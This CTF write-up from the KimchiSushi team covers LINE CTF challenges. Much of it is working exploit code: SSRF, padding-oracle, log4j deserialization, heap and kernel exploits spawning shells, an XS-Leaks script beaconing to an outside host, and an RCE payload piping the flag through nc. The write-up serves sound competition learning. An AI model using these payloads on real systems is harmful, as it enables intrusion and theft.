# LINE CTF Writeup Team Name: KimchiSushi (2nd place) Participant: stypr, rbtree, xion, mspaint, mathboy7, payload ![https://i.imgur.com/6xC5SlS.png](https://i.imgur.com/6xC5SlS.png) ## Web ### Welcome The flag pops upon accessing the link given on the challenge description. We forgot to write down the flag. ### diveinternal There are two main things in this challenge. 1. find out where and how to trigger SSRF 2. find out how to get a key from internal endpoints #### SSRF SSRF part wasn't too difficult to find. We just had to manipulate the `Lang` and `Host` header. Note that `Host` header was modified to overwrite the value of `request.host_url` ```sh $ curl --http1.0 -v "http://35.190.234.195/apis/coin" -H 'Lang: /addsub' -H 'Host: private:5000' ``` ``` python def LanguageNomarize(request): if request.headers.get('Lang') is None: return "en" else: regex = '^[!@#$\\/.].*/.*' # Easy~~ language = request.headers.get('Lang') language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language) if re.search(regex,language): return request.headers.get('Lang') try: data = requests.get(request.host_url+language, headers=request.headers) if data.status_code == 200: return data.text else: return request.headers.get('Lang') except: return request.headers.get('Lang') ``` #### Internal Endpoint After a quick analysis of code, we found out that 1. We can leak the dbhash in `/integrityStatus`. 2. `privateKey` and `Sign` function is given 3. We can use `/rollback` with `Sign` header and `Key` header to get flag. We just need `dbhash` in this case. #### Exploit ```python import requests, hmac, hashlib, json import time privateKey = b'let\'sbitcorinparty' def sign(query): return hmac.new(privateKey, query, hashlib.sha512).hexdigest() def req(ep, headers = {}): headers["lang"] = ep headers["host"] = "private:5000" success = False resp = None while not success: try: resp = requests.get("http://35.190.234.195/apis/coin", headers = headers) if resp.headers.get("lang", "") != "": success = True except: pass return resp.headers["lang"] def calckey(dbhash): return hashlib.sha512(dbhash.encode('ascii')).hexdigest() prev_dbhash = json.loads(req("integrityStatus"))["dbhash"] print("Retrieved dbhash #1 : %s" % prev_dbhash) dbhash = prev_dbhash key = "" while True: print("Request until dbhash changes") while dbhash == prev_dbhash: dbhash = json.loads(req("integrityStatus"))["dbhash"] key = calckey(dbhash) print("Retrieved new dbhash : %s" % dbhash) query = "dbhash=%s" % (prev_dbhash) print("Query : %s" % query) print("Key : %s" % key) sig = sign(query) print("Signature: %s" % sig) resp = req("rollback?%s" % query, {"Sign": sig, "Key": key}) if 'LINECTF' in resp: print(resp) break dbhash = prev_dbhash ``` Flag: `LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}` ### 3233 With manipulation of `socket.io` client, we can join a chatting room between alice and bob without their credential, and even are able to ***eavesdrop***, imitate as them. In the other words, we can act as *alice* or *bob* only except sniffing plaintext of chatting. To eavesdrop their message, following node.js script will work. ```javascript= const io = require('socket.io')({ path: '/api/socket' }) const client = require('socket.io-client'); Manager = client.Manager; HOST = "http://34.85.35.9/" from = "bob" to = "alice" onMessage = function(data){ console.log(data); } onRead = function(data){ console.log(data); } const manager = new Manager(HOST, { path: '/api/socket' }) socket = manager.socket('/') socket.emit('join', { room: [from, to].sort().join(':') }) socket.on('message', onMessage) socket.on('read', onRead) ``` ```javascript { to: 'bob', message: <Buffer 0c f2 13 bc fe 4d 4b 83 35 35 9b 54 d6 fd e6 c5 6e d6 13 d8 62 77 de 26 f4 e1 64 e9 8c 56 38 16 61 7b f5 44 a2 f4 16 3a 4e 5e 1d 14 10 72 38 0d>, id: '675833a9-c75d-424a-9b7d-2a1231d5155f', from: 'alice' } ``` Message is encrypted with AES-CBC, the initial 16 bytes of `message` is IV of ciphertext. Also, Alice to send Bob flag every 30 seconds, Alice's chatting room is always activated. Thus, when we manipulate message and craft CBC OPA message as Bob, thens send to Alice, reading confirmation can be used as oracle. This implies Oracle Padding Attack can be applied in this challenge, which means we can recover plaintext without their shared secret. To perform OPA, we selected hand-calculation instead of automation due to the hardness of asynchronous callbacks. ```javascript= const io = require('socket.io')({ path: '/api/socket' }) const client = require('socket.io-client'); Manager = client.Manager; HOST = "http://34.85.35.9/" from = "bob" to = "alice" FLAGS = Array(256); DICT = {}; DICT_CNT = 0; READ_CNT = 0; for(let i=0; i<256; i++) FLAGS[i] = 0; SEARCHING_BACK_IDX = 8 + 16; //Edit here too let ct = [ /* Progress Vector */] onMessage = function(data){ msg = Uint8Array.from(data.message); DICT[data.id] = msg[msg.length - SEARCHING_BACK_IDX]; DICT_CNT++; if(DICT_CNT % 10 == 0) { console.log(`Received ${DICT_CNT}`); } } onRead = function(data){ FLAGS[DICT[data.id]] = 1; console.log(`New Read added : ${DICT[data.id]}`); } const manager = new Manager(HOST, { path: '/api/socket' }) socket = manager.socket('/') socket.emit('join', { room: [from, to].sort().join(':') }) socket.on('message', onMessage) socket.on('read', onRead) for(let i=0; i<256; i++) { ct[ct.length - SEARCHING_BACK_IDX] = i; socket.emit('message', { from: "bob", to: "alice", message: Buffer.from(ct) }); } ``` ![](https://i.imgur.com/SCftvPy.png) [*solve.xlsx (Google Spreadsheet)*](https://drive.google.com/file/d/1PEuIRs002dyU1zNSIrm9hCBiaazFCZ7A/view?usp=sharing) Flag: `LINECTF{3av3sdr0pr3p1ay0rac13!}` ### Janken After static analaysis of jar file, we noticed there is nothing about flag in the code. Thus, we were started to find something strong primitives like RCE or SSTI. ```java= String ip = request.getRemoteAddr(); byte[] data = IOUtils.toByteArray((InputStream)request.getInputStream()); if (this.jankenService.abuseUserCheck(ip)) { Socket socket = new Socket("localhost", 5111); JankenAbuseDataLogger jad = new JankenAbuseDataLogger(socket, data); jad.run(); } ``` ```java= public class JankenAbuseDataLogger extends Thread { private byte[] data; private OutputStream os; public JankenAbuseDataLogger(Socket socket, byte[] bytes) throws Exception { this.data = bytes; this.os = socket.getOutputStream(); this.data = bytes; } public void run() { try { this.os.write(this.data, 0, this.data.length); this.os.flush(); this.os.close(); } catch (IOException iOException) {} } } ``` In abused user logging system, it establishes connection to `localhost:5111` and pipes raw http body to its socket. In the other words, when we have abuse user's account, we get raw socket communiction like `nc` to `localhost:5111` in server side. Now we have SSRF to `localhost:5111` Also there is an extra binary, logger binary. It was perfectly matched with `logger4j` socket example. CVE-2019-17571 is a security bug of `logger4j 1.2.x`, which unserializes any input of untrusted user via socket communication. All of us strongly agreed this challenge can be solved with this CVE. To be abused user, it is easy. Because register handler maps user input as user interface directly, we can manipulate `winCount` directly. Following HTTP request will register user as abused user. ```http PUT http://34.85.120.233/register HTTP/1.1 Host: 34.85.120.233 Connection: keep-alive Content-Length: 33 Pragma: no-cache Cache-Control: no-cache Accept: */* X-Requested-With: XMLHttpRequest Content-Type: application/json Origin: http://34.85.120.233 Referer: http://34.85.120.233/ Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9 {"name":"aaaaab", "winCount":"11"} ``` The rest part is, generate gadget chain using `ysoserial` and SSRF it! FLAG : `LINECTF{janken_is_really_engaging_and_fun_to_play}` ### Your Note We found out tha this challenge was somewhat related to XS-Leaks as the challenge contains a search feature and a crawler. Challenge description as follows: ``` Secure private note service ※ Admin have disabled some security feature of their browser... Flag Format: LINECTF{[a-z0-9-]+} ``` Quick reading the source code showed us that (1) files can be exported as attachments (2) some of browser security mechanisms are disabled (3) there is a limitation on the URL, so we need to trigger Open Redirect ```javascript if (url && url.startsWith(base_url + '/') && // ~~~~~~~~~~~~~~~ proof && prefix && verify(proof, prefix)) { const browser = await puppeteer.launch({ args: [ '--no-sandbox', '--disable-popup-blocking', ], headless: true, }); const page = await browser.newPage(); ``` The only thing we now have is to find out how to redirect. After an another round of source code review, we found out that `redirect` parameter on `/login` can be bypassed easily. ```javascript if (url && url.startsWith(base_url + '/') && // @158.101.144.10/xs/st.html proof && prefix && verify(proof, prefix)) { const browser = await puppeteer.launch({ args: [ '--no-sandbox', '--disable-popup-blocking', ], headless: true, }); const page = await browser.newPage(); ``` #### Exploit We created a quick script to leak flag from the admin's account. ```javascript <script> // http://34.84.94.138/login?redirect=@158.101.144.10/xs/st.html // LINECTF{1-kn0w-what-y0u-d0wn10ad} var flag = "LINECTF{"; var start = "1-kn0w-what-y0u-"; function run(){ let charset = "abcdefghijklmnopqrstuvwxyz-}0123456789"; (async () => { for (var i = 0; i < charset.length; i++) { var c = charset[i]; f = open("", "_blank"); setTimeout(() => { f.location = "http://34.84.94.138/search?q=" + flag + start + c + "&download=true&stypr=n"; // f.location = "http://34.84.72.167/search?q=" + flag + start + c + "&download=true&stypr=n"; }); let res = await new Promise(resolve => { setTimeout(() => { let res = false; try { f.a; console.info('found!'); res = true; } catch (e) { console.info('not found!'); } new Image().src = "https://harold.kim/?" + flag + start + c + ":" + res; if(res){ start += c } resolve(res); }, 200) }); f.close(); if (res){ run(); break; } } })(); } run(); </script> ``` Flag: `LINECTF{1-kn0w-what-y0u-d0wn10ad}` ### babyweb After a quick review of the source code, we found out a very weird behavior on the service. ```python= elif data["type"] == "2": conn = create_connection() conn.request("GET", "/health") resp = conn.get_response() headers = { cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"], cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"] } conn.request("GET", "/auth", headers=headers) resp = conn.get_response() conn._new_stream() conn._send_cb(data["data"].encode('latin-1')) conn._sock.fill() return conn._sock.buffer.tobytes() ``` After reading that hyper's source code ([hyper/http20/connection.py](https://github.com/python-hyper/hyper/blob/development/hyper/http20/connection.py#L625-L642)), we found out that `_send_cb` send the arbitrary data over the connected stream socket. From here, we decided to dig deeper. Leaking the flag is as easy as (1) finding a way to get JWT token response (2) finding a way to retrieve flag from the server with the token retrieved from (1). The problem is to find out how to craft a fully-working HEADER stream. After learning hpack and hyper's module, we managed to craft send and receive requests to `/auth`. ```python= import requests import hpack from hyperframe.frame import * def header(id): enc = hpack.Encoder() h = enc.encode({ ':path': '/auth', ':method': 'GET', ':authority': 'babyweb_internal', ':scheme': 'https' }) p = HeadersFrame(id, h) p.flags.add('END_HEADERS') p = p.serialize() return p def window_update(id): p = WindowUpdateFrame(id, 0x3fffff01) return p.serialize() def data(id): p = DataFrame(id) return p.serialize() sess = requests.Session() HOST = '35.187.196.233' HOST = '34.85.38.159' r = sess.post('http://' + HOST + '/internal/health', json={ 'data': b''.join([header(7)]).decode('latin-1'), 'type': '2' }) content = r.content print(content) while content: frame, length = Frame.parse_frame_header(content[:9]) print(frame, length) content = content[9 + length:] ``` But the problem was that we still didn't have control to pass admin headers. We also found out that HTTP2 has Huffman Coding and some of useful information can be re-referenced and re-used in the upcoming stream. Since we didn't have any information about the previous stream's header, we decided to bruteforce a bit to re-use the header. ```python= import requests import hpack from hyperframe.frame import * def header(id, idx): enc = hpack.Encoder() h1 = enc._encode_indexed(idx) h2 = enc._encode_indexed(idx + 1) ha = enc.encode({ ':path': '/auth', ':method': 'GET' }) hb = enc.encode({ ':authority': 'babyweb_internal', ':scheme': 'hr' }) h = ha + hb + h1 + h2 p = HeadersFrame(id, h) p.flags.add('END_HEADERS') p = p.serialize() return p def window_update(id): p = WindowUpdateFrame(id, 0x3fffff01) return p.serialize() def data(id): p = DataFrame(id) return p.serialize() sess = requests.Session() HOST = '35.187.196.233' for i in range(128): r = sess.post('http://' + HOST + '/internal/health', json={ 'data': b''.join([header(7, i)]).decode('latin-1'), 'type': '2' }) content = r.content print("") print(i) print(content) while content: frame, length = Frame.parse_frame_header(content[:9]) print(frame, length) content = content[9 + length:] ``` We managed to leak the JWT token, as seen in the following output ``` ... 64 b'\x00\x00\x04\x03\x00\x00\x00\x00\x07\x00\x00\x00\x01' RstStreamFrame(Stream: 7; Flags: None): 00000000 4 65 b'\x00\x00\x02\x01\x04\x00\x00\x00\x07\x88\xbe\x00\x00\xab\x00\x01\x00\x00\x00\x07{"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNzQxMjh9.dKRk5DtUGJGv94xnNEm0XqEt2Jb7MONZfRU43JoBsSk"}' HeadersFrame(Stream: 7; Flags: END_HEADERS): 2 DataFrame(Stream: 7; Flags: END_STREAM): 171 66 b'\x00\x00\x04\x03\x00\x00\x00\x00\x07\x00\x00\x00\x01' RstStreamFrame(Stream: 7; Flags: None): 00000000 4 ... ``` With the leak JWT token, we can now leak the flag with the following code ```python= import requests import hpack from hyperframe.frame import * def header(id): enc = hpack.Encoder() h = enc.encode({ ':path': '/flag', ':method': 'GET', ':authority': 'babyweb_internal', ':scheme': 'https', 'x-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNzQxMjh9.dKRk5DtUGJGv94xnNEm0XqEt2Jb7MONZfRU43JoBsSk' }) p = HeadersFrame(id, h) p.flags.add('END_HEADERS') p = p.serialize() return p def window_update(id): p = WindowUpdateFrame(id, 0x3fffff01) return p.serialize() def data(id): p = DataFrame(id) return p.serialize() sess = requests.Session() HOST = '35.187.196.233' r = sess.post('http://' + HOST + '/internal/health', json={ 'data': b''.join([header(7)]).decode('latin-1'), 'type': '2' }) content = r.content print(content) while content: frame, length = Frame.parse_frame_header(content[:9]) print(frame, length) content = content[9 + length:] ``` Flag: `LINECTF{this_ch4ll_1s_really_baby_web}` ### babysandbox ```javascript= merge(saveOptions, options) merge(saveOptions, req.body) console.log('so 1:', saveOptions); if(saveOptions.filename === undefined || saveOptions.contents === undefined || typeof saveOptions.filename !== 'string' || typeof saveOptions.contents !== 'string') isChecked = false if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false; console.log('ischecked #1 : ', isChecked); ``` There are strict checks in `saveOptions.filename` and `saveOptions.contents`, we can't do anything on them. However, `saveOptions.ext` is only checked by `.includes()` and `.length`, which both of them are also implemented in array. Following `saveOptions.ext` can pass the constraint check. `saveOptions.ext = ['a', 'b', 'c', '.ejs']` But, we can't insert `<`, `>`, `flag`(case insensitive) in file content, we have to bypass them before SSTI. But, please carefully **read `packages.json` before you type `npm install` in terminal.** ```json= { "dependencies": { "body-parser": "^1.19.0", "ejs": "^3.1.6", "express": "^4.17.1", "hbs": "^4.1.1", "morgan": "^1.10.0" } } ``` `handlebars` is also installed in server, we can render `handlerbars` instead of `ejs` without `<`, `>`. Following `saveOptions.ext` and template will render `flag` without any problem. `saveOptions.ext = ['a', 'b', '.ejs', '.hbs']` ```handlebars {{#with this as |k|}} {{#with "AAag"}} {{#with (replace "AA" "fl") as |payload|}} {{lookup k payload}} {{/with}} {{/with}} {{/with} ``` FLAG : `LINECTF{I_think_emilia_is_reallllly_t3nshi}` ## RE ### SQG (rev) In rootfs.cpio, there is a TEE application and a program communicating with it. We recovered the TA-decrypting key after analyzing bl32_extra1.bin; it was based on an open-source TEE framework, so we could compare the binary with them to recover the names of function inside. By using AES-GCM with a hardcoded key in the binary, we could decrypt the TA. Since it was not in printable characters, we submitted the hex version of key. FLAG: `LINECTF{55daff3286b64f55b08fe16f9ee93ab131293645ed44a9b46a4f435c516101f1}` ### Sakura This is solved in an unintended way. It was just solvable by sending `1, 1, 1, 1, 1, 2, 4`. ``` ❯ nc 34.84.178.140 13000 Loading... Account: 0x66ab6d9362d4f35596279692f0251db635165871 Account: 0x33a4622b82d4c04a53e170c638b944ce27cffce3 Account: 0x0063046686e46dc6f15918b61ae2b121458534a5 Set player account a balance of 100 ETH Compiling... Deploying the contract... Contract address: 0xe7cb1c67752cbb975a56815af242ce2ce63d3113 -------------------------------------- Welcome to Timeless Sakura Prediction Game - You can get ETHs if you predict the future. - Oracle system that go beyond powerful time will judge. - We have GOD level BFT consensus model, Ethereum based single node blockchain. (Yeah, We've solved the bloody byzantine general problem) - We use a smart contract engine based on a powerful EVM, the World computer. -------------------------------------- Today's question is What will be the weather tomorrow? 1) Sunny 2) Rainy -------------------------------------- 1) Bet 2) Cancel 3) Get Player's Balance 4) Finalize > 1 1 answer> 1 1 -------------------------------------- 1) Bet 2) Cancel 3) Get Player's Balance 4) Finalize > 1 1 answer> 1 1 Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' } Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' } -------------------------------------- 1) Bet 2) Cancel 3) Get Player's Balance 4) Finalize > 1 1 answer> 2 2 Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' } Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' } -------------------------------------- 1) Bet 2) Cancel 3) Get Player's Balance 4) Finalize > 4 4 Oracle response: 1 win! LINECTF{S4kura_hira_hira_come_to_spring} ``` ## Crypto ### babycrypto1 It's possible to change the encrypted block that contains the command. Get the encrypted block with `send` and include it in the payload. ```python= from pwn import * import base64 r = remote('35.200.115.41', 16001) r.recvuntil('Command: ') data = base64.b64decode(r.recvuntil('\n').decode().strip()) iv, data = data[:16], data[16:] r.recvuntil('IV...: ') r.sendline(base64.b64encode(data[-32:-16])) r.recvuntil('Message...: ') r.sendline(base64.b64encode(b'show')) r.recvuntil('Ciphertext:') tdata = base64.b64decode(r.recvuntil('\n').decode().strip()) tiv, tdata = tdata[:16], tdata[16:] data = data[:-16] + tdata r.recvuntil('Enter your command: ') r.sendline(base64.b64encode(iv + data)) r.interactive() ``` The flag is `LINECTF{warming_up_crypto_YEAH}`. ### babycrypto2 It's possible to change the command by modifying the IV. ```python= from pwn import * import base64 r = remote('35.200.39.68', 16002) r.recvuntil('Command: ') data = base64.b64decode(r.recvuntil('\n').decode().strip()) iv, data = data[:16], data[16:] iv = bytearray(iv) iv[9] ^= ord('t') ^ ord('s') iv[10] ^= ord('e') ^ ord('h') iv[11] ^= ord('s') ^ ord('o') iv[12] ^= ord('t') ^ ord('w') r.recvuntil('Enter your command: ') r.sendline(base64.b64encode(iv + data)) r.interactive() ``` The flag is `LINECTF{echidna_kawaii_and_crypto_is_difficult}`. ### babycrypto3 The modulus is quite short (394-bit). It's able to factorize with yafu. ``` P78 = 109249057662947381148470526527596255527988598887891132224092529799478353198637 P42 = 291664785919250248097148750343149685985101 ``` ```python= from Crypto.Util.number import * N = 0x0328b14139a2e54b88a4662f1a67cc3acd1929c9b62794bb64916aff02991f80456e4d0eed4d591df7708d5af2e9b4fb5689 p = 109249057662947381148470526527596255527988598887891132224092529799478353198637 q = 291664785919250248097148750343149685985101 e = 0x10001 with open('ciphertext.txt', 'rb') as f: enc = int.from_bytes(f.read(), 'big') d = inverse(e, (p - 1) * (q - 1)) flag = pow(enc, d, N).to_bytes(100, 'big') print(flag) ``` The flag is base64-encoded, and is `LINECTF{CLOSING THE DISTANCE.}`. ### babycrypto4 The remaining lower bits of `k` is brute-forcable because it's 16-bit. ```python= from Crypto.Util.number import * data = [] with open('output.txt', 'r') as f: for line in f.readlines(): data.append( list(map(lambda x: int(x, 16), line.strip().split(' '))) ) order = 0x100000000000000000001f4c8f927aed3ca752257 for kl in range(2 ** 16): r, s, kh, h = data[0] k = kh + kl d = (s * k - h) * inverse(r, order) % order flag = True count = 0 for r, s, kh, h in data: k = inverse(s, order) * (h + r * d) % order if k >> 16 == kh >> 16: count += 1 else: flag = False if count > 1: print(i, kl, count) if flag: print(d) exit(0) ``` The flag with the encryption key is `LINECTF{0c02d451ad3c1ac6b612a759a92b770dd3bca36e}`. ## Pwn ### query_firewall This is a "make notes" style challenge with a twist of libsqlite3 + extension library. An obvious vulnerability is at `block(blob)` processing, as the given 8-byte blob is simply interpreted as a node of the singly linked block log list. Before using the vulnerability, we must first leak library addresses using `select hex(fts3_tokenizer('simple'));`. Then using `block(blob)` return value we can leak heap address through `select hex(block({blob(fastbinsY)}));` Noting that the client's input buffer is received through `read`, we have an arbitrarily re-writable section in heap. This can be used to create a fake node that could be inserted to the block log, then re-written so that its data and next ptr are completely attacker controlled. With the former we could achieve arbitrary read, and with the latter achieve arbitrary write at NULL with a "blockable" (fake) node. The "blockable" constraint is heavy, as the value we wish to overwrite must have a "." or a blocked keyword in the `char*` located at `value+8`. To satisfy this constraint, we can allocate persistent malloc chunks through check_query where the allocated chunk is not freed. Due to the use of `tolower()`, the data that we must write must not contain uppercase letters (which includes `chr(0x55)`). We can prepare a fake FILE structure satisfying some constraints, overwrite `_IO_2_1_stdin_.chain`, then exit to trigger `fcloseall()` and call an arbitrary function. ```python # -*- coding: future_fstrings -*- from pwn import * IP, PORT = '35.200.92.72', 10007 DEBUG = False context.arch = 'x86_64' #context.log_level = 'debug' context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.aslr = True sq3 = ELF('./remote/libsqlite3.so.0.8.6') libc = ELF('./remote/libc-2.23.so') def spawn(): global p try: p.close() except: pass if DEBUG: p = gdb.debug(['./remote/ld-2.23.so', './client'], env={'LD_LIBRARY_PATH': './remote'}, gdbscript="handle SIGALRM ignore\n") else: p = remote(IP, PORT) def menu(sel): p.sendlineafter('> ', str(sel)) def query(qs): menu(2) p.sendlineafter('query> ', qs) p.recvuntil('now execute it:') p.recvlines(2) res = [] while p.recvline(False) == '[ Query result ]': res.append(p.recvline(False)) return res def show(idx): menu(3) p.sendlineafter('query index> ', str(idx)) if 'SQL Error' in p.recvline(): return None else: return p.recvuntil('\n\n').split('\n') def remove(): menu(4) return 'SQL Error' not in p.recvline() def rev(val): return u64(p64(val, endian='le'), endian='be') def hexdec(hexstr): return rev(int(hexstr, 16)) def blob(val): return "x'{:016x}'".format(rev(val & ((1 << 64) - 1))) while True: try: spawn() leak = hexdec(query(f"select hex(FTS3_TOKENIZER('simple'));")[0]) sq3.address = leak - 0x2d0ce0 assert sq3.address & 0xfff == 0 log.success('sqlite3: {:016X}'.format(sq3.address)) libc.address = sq3.address - 0x3ca000 log.success('libc: {:016X}'.format(libc.address)) val = 0x0137dead0000 query(f"PRAGMA soft_heap_limit={val};") main_arena = libc.sym['__malloc_hook'] + 0x10 fastbinsY = main_arena + 0x8 log.info ('fastbinsY: {:016X}'.format(fastbinsY)) leak = hexdec(query(f"select hex(block({blob(fastbinsY)}));")[0]) heap_base = leak - 0x4130 assert heap_base & 0xfff == 0 log.success('heap: {:016X}'.format(heap_base)) buf = heap_base + 0x3370 log.info ('buf: {:016X}'.format(buf)) fp = buf + 0x1448 fptr_stage = fp + 0x40 log.info ('fp: {:016X}'.format(fp)) log.info ('fptr_stg:{:016X}'.format(fptr_stage)) # Need to brute-force several times query('Z'*0x3e+'\0\0') query('Z'*0x3e+'\0\0') query('A'*0x20+p32(0xffffffff)+'AAAA'+'A'*0x10+p64(sq3.address+0x2D4528-0x18)) query('A'*0x30+'/bin/sh;'+p64(next(sq3.search("create\0")))) query('Z'*0x3e+'\0\0') query('A'*8+'B'*8+'A'*0x2e+'\0\0') val = libc.sym['system'] query(f"PRAGMA soft_heap_limit={val};") query(f"select block({blob(buf + 0x48)});".ljust(0x38, '\x00') + p64(0) + p64(0) + p64(0) + p64(next(sq3.search("create\0"))) + p64(0)) query(f"".ljust(0x38, '\x00') + p64(0) + p64(0) + p64(0) + p64(next(sq3.search("create\0")))+p64(libc.sym['_IO_2_1_stdin_']+0x58)) query(f"select block({blob(fp)});") p.sendlineafter('> ', '5') p.sendline('cat /flag') print(p.recvline()) break except EOFError: log.warning('Fail, retry') continue except KeyboardInterrupt: break ``` Flag: `LINECTF{sq1ite_1s_fun_4nd_fun}` ### bank There are multiple bugs in this challenge, such as heap overflow by incrementing memo_size by 16, and unintialized stack disclosure in the lottery winner menu. We could omit null character when the program is asking Name and Address after guessing the 7 numbers using the timestamp seed, and leak the PIE and libc base. Also, there was a adjacent function pointer around the memo buffer, so we could overwrite it to point an one gadget in libc.so, and call them to get a shell from the server. ```python from ctypes import * from pwn import * libc = CDLL('/lib/x86_64-linux-gnu/libc-2.31.so') # r = process('./Lazenca.Bank') HOST, PORT = '0.0.0.0', 31338 HOST, PORT = '35.200.24.227', 10002 r = remote(HOST, PORT) def add_account(v): v = str(v) r.sendline('6') r.sendline(v) r.sendline(v) def login(v): v = str(v) r.sendline('7') r.sendline(v) r.sendline(v) def logout(): r.sendline(b'8') def logout_vip(): r.sendlineafter(b'Input : ', b'9') def loan(): r.sendline(b'4') def lottery(): r.sendline(b'5') libc.srand(libc.time(0) + (HOST != '0.0.0.0')) arr = [] while len(arr) < 7: t = libc.rand() % 37 + 1 if t in arr: continue arr.append(t) for i in range(7): r.sendline(str(arr[i])) r.sendafter(b'Name : ', '_' * 8) r.sendafter(b'Address : ', '_') data = r.recvuntil('Menu') global libc_base, binary_base libc_base = u64(data[0x10:0x16]+b'\x00\x00')-0x94013 binary_base = u64(data[0x21:0x27]+b'\x00\x00')-0x605f print(hex(libc_base)) print(hex(binary_base)) print(hexdump(data)) for i in range(10): add_account(i) for i in range(10): r.recvuntil(b'Password : ') for i in range(7, 10): print(i) login(i) for _ in range(7): loan() logout() for i in range(3, -1, -1): login(i) loan() lottery() lottery() # Get minus account r.sendlineafter(b'Input : ', b'1') r.recvuntil(b'2\n') r.recvuntil(b'Account number : ') account_num = r.recvuntil(b'\n')[:-1] # Transfer r.sendlineafter(b'Input : ', b'3') r.sendlineafter(b'transfer.', account_num) r.sendlineafter(b'transfer.', b'1000') r.sendlineafter(b'Input : ', b'1') logout_vip() login(0) r.sendlineafter(b'Input : ', b'7') r.sendlineafter(b'Input : ', b'2') r.sendafter(b'Input : ', b'2') r.sendline(b'a' * 56 + p64(libc_base + 0xe6c81)) r.sendlineafter(b'Input : ', b'0') r.sendlineafter(b'Input : ', b'8') r.sendlineafter(b'transfer.', account_num) r.sendlineafter(b'transfer.', b'0') r.interactive() ``` Flag: `LINECTF{llllllllazenca_save_u5}` ### pprofile This is a Linux Kernel challenge, and a kernel module library is given. Its ioctl handler has three function: register, remove, and show. The last one used a custom wrapper around copy_user_generic_unrolled, which only disables memory exceptions without any checks. So we had an arbitrary memory write primitive with the following layout: 0 (4 bytes), 4 byte padding, pid (4 bytes) and 0~8 (4 bytes). This was enough to overwrite modprobe_path into writable path, such as `/tmp/x`. By doing fork() on the process until `pid & 0xff == [character]` and incrementing the target address, we could execute our script with root privilege. ```c // diet gcc exp.c -o exp #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> char buf[32] = "h!yheyhey"; void _(int x) { printf("%d %d\n", x, errno); perror(""); } int fd; size_t find(size_t start, size_t interval) { size_t addr = start; // 0xffffffff82203e90 while (addr <= 0xffffffffc0400000) { size_t args[2] = {buf, addr}; if (ioctl(fd, 16, args) == 0) { printf("found: %p\n", addr); return addr; } addr += interval; } } int main() { fd = open("/dev/pprofile", O_RDONLY); _(fd); { size_t args[2] = {buf, 0}; _(ioctl(fd, 32, args)); } size_t data = find(0xffffffff80000000 + 0x80, 0x200000) - 0x80; size_t addr = find(0xffffffffc0000000, 0x1000); printf("%p\n", addr + 0x3c0); if (fork()) { sleep(10000); exit(0); } char payload[] = "-tmp/"; size_t args[2] = {buf, data + 0x56F40 - 9}; for (int j = 0; j < sizeof(payload) - 1; j++) { while (1) { if (fork()) exit(0); int pid = getpid(); if ((pid & 0xff) == payload[j]) { printf("pid: %x\n", pid); ioctl(fd, 32, args); ioctl(fd, 16, args); ioctl(fd, 64, args); break; } } args[1]++; } system("hexdump /proc/sys/kernel/modprobe"); char shell[] = "#!/bin/sh\ncat /root/flag > /tmp/pwned"; char buf3[0x100] = "/"; fd = open("/proc/sys/kernel/modprobe", O_RDONLY); read(fd, buf3 + 1, 0xff); close(fd); puts(buf3); char *delim = strchr(buf3, '\n'); if (delim) *delim = 0; fd = open(buf3, O_WRONLY | O_CREAT, 0777); write(fd, shell, strlen(shell)); close(fd); fd = open("/tmp/ey", O_WRONLY | O_CREAT, 0777); write(fd, "\xff\xff\xff\xff\n", 5); close(fd); execve("/tmp/ey", NULL, NULL); system("/tmp/ey; cat /tmp/pwned"); } ``` Flag: `LINECTF{Arbitrary_NULL_write_15_5tr0ng_pr1m1t1v3_both_u53r_k3rn3l_m0d3}` ### atelier Given client source code heavily uses duck typing to convert between dict and object. Since `__class__` and `__module__` can be given, we can instantiate an arbitrary class as an object and update its fields as necessary. `__call__` magic method is a prominent attack target since instead of having a method, we can place a callable object with the same name. Searching for `eval` and `exec` inside `__call__`, we find `_class_resolver` inside `sqlalchemy.orm.clsregistry`. This is unavailable due to the use of `__slots__`, but remote server insists that `sqlalchemy.orm.clsregistry` does not exist - server must have an older sqlalchemy version where the class resides at `sqlalchemy.ext.declarative.clsregistry`. In the older versions `__slots__` was nonexistent, so this is a possible attack vector. Now the remaining part is to find calls that would serve as the entrypoint. Noting that `req = RecipeCreateRequest(f"{material1},{material2}")`, it seems plausible that the server would run `res.material.split(',')`. Send a `RecipeCreateRequest` object but with `material` replaced to a different object containing a callable object at `split` field. Chain this ultimately to call `eval` and get RCE. ```json { "__module__": "__main__", "__class__": "RecipeCreateRequest", "materials": { "__module__": "__main__", "__class__": "RecipeCreateRequest", "split": { "__module__": "sqlalchemy.sql.functions", "__class__": "_FunctionGenerator", "opts": { "__module__": "__main__", "__class__": "RecipeCreateRequest", "copy": { "__module__": "sqlalchemy.ext.declarative.clsregistry", "__class__": "_class_resolver", "arg": "__import__('os').system('cat flag | nc <REDACTED>')", "_dict": {} } } } } } ``` Flag: `LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}` ### babychrome This is 1-day exploit for CVE-2020-15065. With modifying project zero's POC, we can easily get array OOB write primitve. After gaining primitve, we can easliy exploit it by making addrof, fakeobj primitve. By using OOB primitve, we can make target's element pointer to ArrayBuffer's backing pointer, and by modifying ArrayBuffer's backing pointer to rwx wasm memory region, write shellcode in wasm memory to get shell. After gaining shell, just call "cat flag>&0" to get shell. Flag: `LINECTF{Ne0N_GENE512_B4byCHr0Me}`